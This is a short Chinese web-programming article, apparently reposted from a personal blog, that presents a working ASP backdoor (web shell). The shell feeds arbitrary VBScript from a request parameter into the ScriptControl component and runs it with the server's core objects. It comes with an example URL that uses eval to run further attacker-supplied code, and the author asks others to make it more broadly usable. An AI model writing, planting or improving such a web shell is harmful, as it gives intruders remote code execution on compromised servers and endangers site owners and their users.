网络编程
位置:首页>> 网络编程>> Asp编程>> 一个较新的ASP后门服务端实现代码

一个较新的ASP后门服务端实现代码

 来源:asp之家 发布时间:2011-02-16 10:41:00 

标签:ASP后门,服务器

今天重新研究了下VB里面的ScriptControl组件,发现asp里面也能调用。研究了下方法,后来和lcx讨论了下。得到了如下代码,在此感谢前辈的指点,呵呵。

代码很简单,我就不多做解释了,以免有人骂我装。
代码如下:


<%
Set o = Server.CreateObject("ScriptControl")
o.language = "vbscript"
o.addcode(Request("SubCode")) '参数SubCode作为过程代码
o.run "e",Server,Response,Request,Application,Session,Error '参数名e 调用之,同时压入6个基对象作为参数

'调用示例:
'http://localhost/tmp.asp?SubCode=sub%20e%28Server,Response,Request,Application,Session,Error%29%20eval%28request%28%22v%22%29%29%20end%20sub&v=response.write%28server.mappath%28%22tmp.asp%22%29%29
%>

注意,虽然能用了,但是实验发现只有lake2客户端能用。希望有牛人出来改得通用一点。呵呵。自己写个客户端专用也不错。


转自:http://hi.baidu.com/ylbhz/blog

0
投稿

猜你喜欢

手机版 网络编程 asp之家 www.aspxhome.com